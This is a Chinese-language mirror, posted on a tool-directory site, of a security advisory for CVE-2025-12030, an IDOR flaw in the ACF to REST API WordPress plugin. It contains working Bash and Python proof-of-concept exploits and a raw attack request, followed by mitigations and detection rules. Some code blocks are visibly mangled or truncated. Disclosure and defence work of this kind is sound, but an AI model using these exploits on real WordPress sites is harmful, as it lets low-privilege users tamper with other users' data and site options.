Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12030 — ACF to REST API WordPress 插件 IDOR 漏洞 (CVE-2025-12030) - 安全缺陷,允许具有贡献者级别访问权限的已验证用户修改他们不拥有的对象上的 ACF 字段。 | Kitploit
工具/GitHubGitHub/snailsploit/cve-2025-12030
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试论文与研究学习与教育
GitHubsnailsploit/cve-2025-12030

CVE-2025-12030

ACF to REST API WordPress 插件 IDOR 漏洞 (CVE-2025-12030) - 安全缺陷,允许具有贡献者级别访问权限的已验证用户修改他们不拥有的对象上的 ACF 字段。

查看仓库
13个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-12030: ACF to REST API WordPress 插件中的不安全的直接对象引用

CVE CVSS Score WordPress Plugin CWE-639 Wordfence

关键词: CVE-2025-12030, ACF to REST API 漏洞, IDOR, WordPress 安全, 经过身份验证的利用, WordPress 插件漏洞, CWE-639, ACF 字段修改, 授权绕过, WordPress CVE 2025, Advanced Custom Fields, REST API 安全

目录

  • 概述
  • 漏洞详情
  • 技术分析
  • 攻击向量
  • 概念验证
  • 修复指南
  • 检测
  • CVSS 指标
  • 参考
  • 致谢
  • 安全联系

概述

ACF to REST API WordPress 插件 IDOR 漏洞 (CVE-2025-12030) - 安全缺陷,允许具有贡献者级别访问权限的经过身份验证的用户修改不属于他们的对象上的 ACF 字段。

在 ACF to REST API WordPress 插件中发现了一个不安全的直接对象引用 (IDOR) 漏洞,该漏洞允许具有最低权限的经过身份验证的攻击者修改整个 WordPress 安装中的 ACF 字段。

发现者: Kai Aizen (SnailSploit)
发布时间: 2026年1月6日
CVSS 评分: 4.3 (中危)
CWE: CWE-639 - 通过用户控制的密钥绕过授权
插件: ACF to REST API
插件标识: acf-to-rest-api
攻击类型: 不安全的直接对象引用 (IDOR)
所需权限: 贡献者及以上 (经过身份验证的攻击)

漏洞详情

描述

WordPress 的 ACF to REST API 插件在包括 3.3.4 在内的所有版本中均存在不安全的直接对象引用漏洞。这是因为 update_item_permissions_check() 方法中的能力检查不足,该方法仅验证当前用户具有 edit_posts 能力,而未检查特定于对象的权限 (例如 edit_post($id), edit_user($id), manage_options)。

影响

此漏洞允许具有贡献者级别及以上的经过身份验证的攻击者:

  • 修改不属于自己的文章上的 ACF 字段 - 绕过文章所有权限制
  • 修改任何用户账户上的 ACF 字段 - 包括管理员账户
  • 修改评论上的 ACF 字段 - 更改评论元数据
  • 修改分类术语上的 ACF 字段 - 更改分类/标签的自定义字段
  • 修改全局选项页面 - 无需 manage_options 能力即可访问站点范围的 ACF 选项

所有修改均可通过 /wp-json/acf/v3/{type}/{id} REST API 端点进行。

受影响版本

  • 受影响版本: 所有版本 ≤ 3.3.4
  • 已修复版本: ⚠️ 暂无已知补丁

CVSS v3.1 指标```

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

root@kitploit:~
| Metric | Value |
|--------|-------|
| Attack Vector | Network (AV:N) |
| Attack Complexity | Low (AC:L) |
| Privileges Required | Low (PR:L) |
| User Interaction | None (UI:N) |
| Scope | Unchanged (S:U) |
| Confidentiality | None (C:N) |
| Integrity | Low (I:L) |
| Availability | None (A:N) |

**CVSS v3.1 详细说明:**

- **Attack Vector (AV):** Network - 该漏洞可通过网络远程利用
- **Attack Complexity (AC):** Low - 利用无需特殊条件
- **Privileges Required (PR):** Low - 需要贡献者级别的认证
- **User Interaction (UI):** None - 利用过程无需任何用户交互
- **Scope (S):** Unchanged - 漏洞仅影响易受攻击的组件
- **Confidentiality Impact (C):** None - 无信息泄露
- **Integrity Impact (I):** Low - 可未授权修改 ACF 字段
- **Availability Impact (A):** None - 无可用性影响

## 技术细节

### 漏洞根本原因

漏洞存在于 `update_item_permissions_check()` 方法中,该方法执行了不充分的授权验证:```php
// Vulnerable code pattern (simplified)
public function update_item_permissions_check( $request ) {
    // VULNERABLE: Only checks generic edit_posts capability
    if ( current_user_can( 'edit_posts' ) ) {
        return true;
    }
    return false;
}

正确的实现应检查对象特定权限:```php // Secure implementation pattern public function update_item_permissions_check( $request ) { $id = $request->get_param( 'id' ); $type = $request->get_param( 'type' );

root@kitploit:~
switch ( $type ) {
    case 'post':
        return current_user_can( 'edit_post', $id );
    case 'user':
        return current_user_can( 'edit_user', $id );
    case 'option':
        return current_user_can( 'manage_options' );
    // ... other object types
}
return false;

}

root@kitploit:~
### 易受攻击的端点

| 端点 | 目标 | 所需能力(应为) |
|----------|--------|--------------------------------|
| `/wp-json/acf/v3/posts/{id}` | 文章 | `edit_post($id)` |
| `/wp-json/acf/v3/pages/{id}` | 页面 | `edit_page($id)` |
| `/wp-json/acf/v3/users/{id}` | 用户 | `edit_user($id)` |
| `/wp-json/acf/v3/comments/{id}` | 评论 | `edit_comment($id)` |
| `/wp-json/acf/v3/terms/{taxonomy}/{id}` | 分类术语 | `edit_term($id)` |
| `/wp-json/acf/v3/options/{option}` | 选项 | `manage_options` |

### 攻击向量```
PUT/POST /wp-json/acf/v3/{type}/{id}
Authorization: Basic <contributor_credentials>
Content-Type: application/json

{
    "fields": {
        "field_name": "malicious_value"
    }
}

该漏洞可通过WordPress REST API被任何至少具有贡献者角色的认证用户利用。

概念验证

⚠️ 仅用于教育和授权测试目的

Bash PoC```bash

#!/bin/bash

CVE-2025-12030 PoC - ACF to REST API IDOR

TARGET_URL="$1" USERNAME="$2" APP_PASSWORD="$3" TARGET_POST_ID="$4"

if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$APP_PASSWORD" ] || [ -z "$TARGET_POST_ID" ]; then echo "Usage: $0 <target_url> <app_password> <post_id>" echo "Example: $0 https://example.com contributor_user xxxx-xxxx-xxxx 42" exit 1 fi

echo "[] CVE-2025-12030 - ACF to REST API IDOR PoC" echo "[] Target: $TARGET_URL" echo "[*] Target Post ID: $TARGET_POST_ID" echo ""

Encode credentials

AUTH=$(echo -n "$USERNAME:$APP_PASSWORD" | base64)

Step 1: Read current ACF fields (verify access)

echo "[*] Step 1: Reading current ACF fields..." curl -s -X GET "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
| python3 -m json.tool

echo ""

Step 2: Attempt to modify ACF fields on post we don't own

echo "[*] Step 2: Attempting to modify ACF fields on post $TARGET_POST_ID..." RESPONSE=$(curl -s -X POST "$TARGET_URL/wp-json/acf/v3/posts/$TARGET_POST_ID"
-H "Authorization: Basic $AUTH"
-H "Content-Type: application/json"
-d '{"fields":{"test_field":"CVE-2025-12030_IDOR_TEST"}}')

echo "$RESPONSE" | python3 -m json.tool

echo "" if echo "$RESPONSE" | grep -q "CVE-2025-12030_IDOR_TEST"; then echo "[!] VULNERABLE: Successfully modified ACF fields on post we don't own!" else echo "[+] Not vulnerable or modification failed" fi

root@kitploit:~
### Python 概念验证```python
#!/usr/bin/env python3
"""
CVE-2025-12030 - ACF to REST API IDOR PoC
For educational and authorized testing purposes only
"""

import requests
import sys
import json
import base64

def exploit(target_url, username, app_password, target_id, target_type="posts"):
    """
    Exploit CVE-2025-12030 IDOR vulnerability
    
    Args:
        target_url: WordPress site URL
        username: Contributor-level username
        app_password: Application password
        target_id: ID of the object to modify (post, user, etc.)
        target_type: Type of object (posts, pages, users, options, etc.)
    """
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/{target_type}/{target_id}"
    
    # Create Basic Auth header
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"[*] CVE-2025-12030 - ACF to REST API IDOR PoC")
    print(f"[*] Target: {target_url}")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] Object Type: {target_type}")
    print(f"[*] Object ID: {target_id}\n")
    
    # Step 1: Read current ACF fields
    print("[*] Step 1: Reading current ACF fields...")
    try:
        response = requests.get(api_endpoint, headers=headers, timeout=10)
        if response.status_code == 200:
            print(f"[+] Current ACF fields:")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Failed to read fields: {response.status_code}")
            print(response.text)
    except requests.RequestException as e:
        print(f"[-] Error reading fields: {e}")
        return
    
    print("")
    
    # Step 2: Attempt IDOR modification
    print("[*] Step 2: Attempting unauthorized modification...")
    
    payload = {
        "fields": {
            "idor_test": "CVE-2025-12030_IDOR_VERIFIED"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            result = response.json()
            print(f"[+] Response:")
            print(json.dumps(result, indent=2))
            
            if "CVE-2025-12030_IDOR_VERIFIED" in str(result):
                print("\n[!] VULNERABLE: Successfully modified ACF fields via IDOR!")
                print("[!] Contributor-level user was able to modify objects they don't own!")
            else:
                print("\n[+] Modification request accepted - verify manually")
        else:
            print(f"[-] Request failed with status: {response.status_code}")
            print(f"Response: {response.text}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

def test_options_page(target_url, username, app_password):
    """Test modification of global options page (requires manage_options normally)"""
    
    api_endpoint = f"{target_url.rstrip('/')}/wp-json/acf/v3/options/options"
    
    credentials = base64.b64encode(f"{username}:{app_password}".encode()).decode()
    headers = {
        "Authorization": f"Basic {credentials}",
        "Content-Type": "application/json"
    }
    
    print(f"\n[*] Testing Options Page IDOR...")
    print(f"[*] Endpoint: {api_endpoint}")
    print(f"[*] NOTE: This normally requires manage_options capability!\n")
    
    payload = {
        "fields": {
            "site_option_test": "CVE-2025-12030_OPTIONS_IDOR"
        }
    }
    
    try:
        response = requests.post(api_endpoint, headers=headers, json=payload, timeout=10)
        
        if response.status_code == 200:
            print(f"[!] CRITICAL: Contributor modified global options page!")
            print(json.dumps(response.json(), indent=2))
        else:
            print(f"[-] Options modification failed: {response.status_code}")
            
    except requests.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 5:
        print(f"Usage: {sys.argv[0]} <target_url> <username> <app_password> <target_id> [type]")
        print(f"Example: {sys.argv[0]} https://example.com contributor xxxx-xxxx 42 posts")
        print(f"\nSupported types: posts, pages, users, comments, options")
        sys.exit(1)
    
    target_url = sys.argv[1]
    username = sys.argv[2]
    app_password = sys.argv[3]
    target_id = sys.argv[4]
    target_type = sys.argv[5] if len(sys.argv) > 5 else "posts"
    
    exploit(target_url, username, app_password, target_id, target_type)
    
    # Also test options page access
    if target_type != "options":
        test_options_page(target_url, username, app_password)

修复措施

面向网站管理员

立即采取行动:

⚠️ 目前尚无针对此漏洞的官方补丁。

  1. 考虑卸载插件:如果 ACF REST API 功能并非关键依赖
  2. 限制用户注册并审查现有的贡献者及以上级别账户
  3. 实施 WAF 规则以阻止未经授权的 REST API 修改
  4. 监控 REST API 活动,查找可疑的 ACF 字段修改
  5. 考虑使用具备完善授权控制的替代插件

临时缓解措施

选项一:通过代码禁用 REST API 端点

将其添加至主题的 functions.php 文件或自定义插件中:```php

403) ); } return $permission; }, 10, 3); ``` #### 选项2: 通过.htaccess限制```apache # Block ACF REST API modification endpoints for non-admins RewriteEngine On RewriteCond %{REQUEST_METHOD} ^(PUT|POST|PATCH)$ RewriteCond %{REQUEST_URI} ^/wp-json/acf/v3/ [NC] RewriteCond %{HTTP_COOKIE} !wordpress_logged_in_.*admin [NC] RewriteRule .* - [F,L] ``` #### 选项 3:Nginx 配置```nginx # Block ACF REST API modification requests location ~* ^/wp-json/acf/v3/ { if ($request_method ~* "(PUT|POST|PATCH)") { # Implement proper authorization check or block entirely return 403; } try_files $uri $uri/ /index.php?$args; } ``` ### 对于插件开发者 如果分叉或修补插件,请实现适当的对象特定授权:```php get_param( 'id' ); $type = $this->get_object_type( $request ); switch ( $type ) { case 'post': case 'page': // Check if user can edit THIS specific post if ( ! current_user_can( 'edit_post', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this post.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'user': // Check if user can edit THIS specific user if ( ! current_user_can( 'edit_user', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this user.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'option': // Options require manage_options capability if ( ! current_user_can( 'manage_options' ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to manage options.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'term': $taxonomy = $request->get_param( 'taxonomy' ); $tax_obj = get_taxonomy( $taxonomy ); if ( ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit terms.' ), array( 'status' => rest_authorization_required_code() ) ); } break; case 'comment': if ( ! current_user_can( 'edit_comment', $id ) ) { return new WP_Error( 'rest_cannot_edit', __( 'Sorry, you are not allowed to edit this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } break; default: return new WP_Error( 'rest_invalid_type', __( 'Invalid object type.' ), array( 'status' => 400 ) ); } return true; } ``` ## 检测 ### 日志分析 搜索可疑的 REST API 活动:```bash # Search access logs for ACF REST API modification attempts grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/nginx/access.log grep -E "POST|PUT|PATCH.*wp-json/acf/v3" /var/log/apache2/access.log ``` ### WordPress 插件检查```bash # Check if vulnerable version is installed wp plugin list | grep -i "acf-to-rest-api" # Get plugin version wp plugin get acf-to-rest-api --field=version ``` ### 安全扫描器规则 **Nuclei Template:**```yaml id: CVE-2025-12030 info: name: ACF to REST API - IDOR ACF Field Modification author: SnailSploit severity: medium description: ACF to REST API plugin for WordPress is vulnerable to IDOR reference: - https://github.com/SnailSploit/CVE-2025-12030 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification tags: cve,cve2025,wordpress,wp-plugin,idor,authenticated http: - raw: - | POST /wp-json/acf/v3/posts/1 HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} Content-Type: application/json {"fields":{"nuclei_test":"CVE-2025-12030"}} matchers-condition: and matchers: - type: word words: - "acf" condition: or - type: status status: - 200 ``` ### Web应用防火墙规则 **ModSecurity规则:**```apache # CVE-2025-12030 - Block unauthorized ACF REST API modifications SecRule REQUEST_URI "@rx ^/wp-json/acf/v3/" \ "id:2025012030,\ phase:2,\ t:none,t:urlDecodeUni,t:normalizePathWin,\ chain,\ deny,\ status:403,\ log,\ msg:'CVE-2025-12030 - Potential ACF IDOR Exploit Attempt'" SecRule REQUEST_METHOD "@rx ^(POST|PUT|PATCH)$" "t:none" ``` ## 时间线 - **2026年1月6日** - 漏洞公开披露 - **2026年1月6日** - CVE-2025-12030 已分配 - **当前** - ⚠️ 无可用补丁 ## 参考 - [Wordfence Intelligence - CVE-2025-12030](https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/acf-to-rest-api/acf-to-rest-api-334-insecure-direct-object-reference-to-authenticated-contributor-acf-fieldoption-modification) - [WordPress Plugin Trac - ACF to REST API](https://plugins.trac.wordpress.org/browser/acf-to-rest-api) - [WordPress Plugin Directory](https://wordpress.org/plugins/acf-to-rest-api/) - [CWE-639 - 通过用户控制的密钥绕过授权](https://cwe.mitre.org/data/definitions/639.html) - [OWASP - 不安全的直接对象引用](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References) ## 致谢 **研究员:** - [**Kai Aizen**](https://linkedin.com/in/kaiaizen) - [SnailSploit](https://snailsploit.com) **披露流程:** 通过 Wordfence 漏洞赏金计划协调 ## 免责声明 此信息仅供安全研究和防御目的。出于恶意目的利用此漏洞是非法且不道德的。在测试不属于您的系统之前,请务必获得适当的授权。 ## 联系方式 如有关于此漏洞的问题或需要更多信息: - **电子邮件:** [[email protected]](mailto:[email protected]) - **网址:** [snailsploit.com](https://snailsploit.com) - **组织:** SnailSploit 安全研究 --- *最后更新:2026年1月6日* --- ## 📚 文档与作者 此项目的完整报告、方法论及相关研究位于: **[https://snailsploit.com/security-research/cves/cve-2025-12030/](https://snailsploit.com/security-research/cves/cve-2025-12030/)** 由 **Kai Aizen** 创建——独立进攻性安全研究员。 [snailsploit.com](https://snailsploit.com) · [研究](https://snailsploit.com/research) · [框架](https://snailsploit.com/frameworks) · [GitHub](https://github.com/SnailSploit) · [LinkedIn](https://linkedin.com/in/kaiaizen) · [ResearchGate](https://www.researchgate.net/profile/Kai-Aizen-2) · [X/Twitter](https://x.com/SnailSploit) > *相同的攻击。不同的载体。*
下载工具